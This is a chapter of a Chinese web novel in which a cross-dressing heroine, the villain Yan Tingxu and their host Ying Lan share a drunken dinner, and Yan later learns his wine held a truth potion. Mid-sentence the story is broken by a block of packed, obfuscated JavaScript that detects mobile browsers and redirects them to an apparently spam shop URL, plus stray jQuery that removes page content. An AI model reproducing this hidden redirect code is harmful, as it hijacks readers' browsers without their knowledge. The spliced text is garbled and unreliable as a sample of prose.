虞想竭力扯着大反派蠢蠢欲动的手,向对面的应澜介绍道:“这位是我的朋友雁亭序,他是来找我的。”
“哈哈,雁亭序你说是吧。”虞想为了拉住他,说话都近乎要咬牙切齿了,她可真怕这个大反派一声不吭地就和人打起来,毕竟他的脾气是真的喜怒无常,一点道理不和你讲。
雁亭序不明白虞想为什么对这个人这般友好,但五指交扣手心被她紧紧握住的感觉实在是太美妙,他顿时生不出心思去计较那些,勉为其难地点点头,算是认同了虞想这番说辞。
虞想这才松了一口气,应澜在原著中是个正面角色,没有干过什么坏事,自己为逃命躲到他这里来他也好吃好喝好招待,虞想实在是不想在大反派手下看到他血溅三尺的模样。
应澜见此立马道:“既然是虞兄的朋友那也就是我应澜的朋友,雁公子不妨也在这里住几天。”
雁亭序看了他一眼,轻嗤一声,勉强应下。
他牵着虞想走在前方,丝毫没有意识到他们现在是两个男子的身份,这样总会引起一些奇异的打量,就比如每个见过他俩的仆人,视线总是不由自主地往他们牵着的手看去。
应澜跟在后面,看着雁亭序宣示主权的动作,露出一抹意味深长的笑。
他快步跟去,将两人带到这里客厅,仆人们鱼贯而入,十分迅速的将午膳布好。
应澜笑着说:“今日有两位至交好友作陪,咱们不醉不归。”
雁亭序半点儿面子不给,开口道:“谁跟你是好友?”
虞想看着应澜的脸僵了一瞬,立刻打圆场,“他、他的意思是说,你们还不熟,还不能称得上是至交好友。”
见虞想递上台阶,应澜不好驳了她的面子,脸色这才稍稍恢复些,露出个不尴不尬的笑容。
雁亭序听到虞想维护那个不知从哪冒出来的人下意识就要反驳,却被虞想在桌下一把摁住大腿,独属于女孩子的温软与滚烫从两人相触碰的地方传遍全身。
雁亭序被烫的呼吸急促了一瞬,险些哼出声来。他瞪了虞想一眼,这个时候干嘛摸他,他话还没说完呢。耳垂自然而然地染上绯红,就连衣襟下的白皙的脖颈都泛起热意,他难耐的紧了紧拳头,把刚才要说的话瞬间抛到九霄云外。
虞想被他这一眼瞪得莫名其妙。她这可是为他好,现在他们可是在人家地盘上,他怎么一点做客人的自觉都没有,要不是她拳头不够硬,真想给他缝上这张嘴。
应澜将两人的小动作尽收眼底,他唤来一个仆人,耳语一番,仆人接着就跑了出去,很快带回来一盏银色的酒壶。
他热情的给两人满上,举杯道:“虞兄,雁兄,这百花酿可是我珍藏多年的好酒,今日特意拿出来招待二位。”
雁亭序此时正被虞想那一下弄得口干舌的,接过杯子一口饮下,应澜直呼好酒量,又给他满上。
雁亭序心痒难耐,仿佛一把烈火烧在他的心头,焦渴不已,因此对应澜的递酒也没有拒绝,就那样和他喝了起来。
虞想原本也想尝尝这百花酿的滋味,但看见旁边的雁亭序两三杯下肚,俊美白皙的脸已经通红,终究还是没喝。
经验之谈,他们两个最好还是有个清醒的,否则一不小心就得陷入大逃亡模式。
酒过三巡,应澜也喝的直接醉倒在桌上,被一旁的小童架着回到他自己的房间。
虞想起身,垂首望着酒桌上的雁亭序,他现在已经是喝醉的模样,那双狭长的丹凤眼现在像是蒙了一层水雾,抬头看她的时候莫名带了几分乖巧。
挺翘的鼻头也是红红的,配上他这副低眉顺目的模样,让人顿时生出几分他很好欺负的感觉。
虞想戳戳他的脸,问道:“你还记得自己是谁吗?”青葱如玉的指尖自脸颊划过,落到鼻头上,雁亭序见着眼前的手指顿时生出几分想舔的想法。
他这样想着也这般做了,他轻轻闭上双眼,颤巍巍的睫毛透露出他内心的紧张,他缓缓抬头,任由指尖滑落,落到他的唇瓣,不给虞想反应时间,他启唇将这只想念已久的手指含进口中。
虞想不知事情是如何变成现在这个样子的,她下意识想把手抽出来,却被他轻轻咬住。
湿热的口腔包裹着她的整根手指,灵活的舌头围着手指舔、弄,又吸、又吮,雁亭序喉头滚动,将口中生出的津液吞下。
灼热的吐息喷洒在手背,像是有一根羽毛轻轻挠了挠虞想的心房,企图打开房门溜进去。
耳根连着脖颈早已烧的通红,雁亭序的意识也已经烧的稀里糊涂,只想留下身边的这个人,不让她离开。
虞想看着醉的一塌糊涂的雁亭序,少年无疑是生了一副好相貌,剑眉星目,轮廓分明,睁眼看人时自带一股凌厉的气势,闭上双眼却又显得有些乖顺,像是在外威风凛凛的大狗,在家却只冲你撒娇。
许是雁亭序喝的酒从指尖也渡给了她,虞想的心湖莫名泛起几分涟漪。她现在不用得到答案也知道雁亭序已经醉的不省人事。她掐着他的下巴,用了几分巧劲才成功将手指拿出来。
白皙的食指被舔得湿漉漉的,上面挂上几分亮晶晶的涎液,虞想颇为嫌弃地往雁亭序身上一抹,随后将人架起。
好在雁亭序并不是全然没了意识,还能配合她往前走着,否则她是真的不能扶着一个成年男子走回客房。客房离这里不远,不出百步,就是如此短短的距离,也将虞想累的够呛。
她将人推在床榻上,用手扇着风找到茶壶满满的给自己倒了一杯。
床塌上的雁亭序像是寻不到虞想的踪迹,口中喃喃自语:“别离开我,阿虞,虞想,别离开我。”
他一骨碌从床上爬起,睁开迷朦的双眼,目不转睛的盯着不远处的虞想,委屈的像是只要被主人抛弃的大狗。虞想原本还因为雁亭序醉的不省人事将他在心底臭骂一通,现在见他可怜巴巴的顿时也生不出气来。
她又倒了一杯清水,递到雁亭序脸前,“喝水。”
雁亭序眨着眼睛,像是在努力消化她说的这两个字,虞想不想和他磨蹭,掰着下巴给他喂进去,因为动作有些急,雁亭序没来的吞咽,水顺着唇角溢出,往下流去,弄得整张下巴都水淋淋的。
就要喝完的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303616|198664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
候,雁亭序却被最后一口水呛到,大声的咳嗽起来,咳得眼尾绯红,还一脸控诉地看着她,像是在问她为什么那么凶。
虞想不太想搭理他,转身就要离开,却被他扯住衣角,他执拗地看着她,“还要。”
她又给他端来一杯,他却扭着头,不喝,“要你喂。”
虞想根本没想到喝醉的雁亭序跟个小孩子一样,任性又作,她磨了磨牙,将他的脸摆正,给他灌下。
雁亭序心满意足的喝到水,这才安稳下来,脱掉衣服往床上一滚,沉沉睡去。虞想被他折腾的不轻,对他没个好气,洗漱完后对着他流畅的腰身就是一脚,将人踢去里侧,她自己裹着被子睡去。
宿醉后的雁亭序发觉自己头疼的厉害,他努力回想着昨晚他喝醉后发生了什么,却发现没有半分记忆。他转头看向床上另一侧的虞想,晨间的朝阳透过近乎透明的贝壳窗,照到她的脸上,给她镀了一层金光。
细碎的绒毛清晰可见,小巧的鼻头圆润可爱,让人忍不住地想去亲吻一番。他竭力克制住那股渴望,翻身下床去洗漱。
在他走后不久虞想也苏醒了过来,她伸了个大大的懒腰,穿上衣服来到院子里洗漱。
不一会儿,一个小童前来通传说是应澜已经布好早膳,想请他们一同用饭。
雁亭序想起昨晚那小子一直给他递酒就怀疑他是故意的,故意想让他在虞想面前出丑。他冷哼一声,对小童说:“不去。”
虞想刚扎好头发,一脸疑惑的看着雁亭序,“你不去吃早饭?”
雁亭序坚决道:“不去。”
虞想点点头,不去那她就一个人去好了。
没过多久,雁亭序却突然道:“去,我去。”
怎么又突然变卦了,大反派这想法真是多变。
虞想默默吐槽了一句,跟着小童一道前往。
饭桌上,虞想见一道煎饺做的好吃,便忍不住向应澜夸赞道:“这煎饺真是不错。”
应澜笑道:“虞兄喜欢就好,雁兄不妨也试试。”
说着他把那个瓷盘往雁亭序那里推了推,雁亭序看都没看直接说:“难吃。”
“可是我觉得很好吃呀。”虞想不知道雁亭序有在闹什么别扭,还没尝过就非得说煎饺难吃,不吃也不必诋毁吧。
雁亭序见虞想对那道煎饺喜欢的紧,还是选择尝了一口,正好被眼尖的应澜看见,“雁兄,觉得怎样?”
“难吃。”雁亭序连一个目光都没施舍给他。
没过多久,他面容似是有些扭曲的从牙缝里挤出几个字,“好吃,煎饺好吃。”
虞想一脸诧异道看着他,似是对他这打脸行为有些不解,今天这是怎么了,一向要脸的大反派怎么开始自己打自己脸了。
雁亭序甩下筷子,一个闪身揪住对面应澜的衣襟,两人顿时消失在虞想脸前。
“你昨晚给我喝的酒里掺了什么?”肯定是这个家伙用了手段,否则他怎么总会把自己的心里话给说出来。
应澜淡笑着别开雁亭序青筋毕露的拳头,“不过是真言水罢了,难不成你怕了?”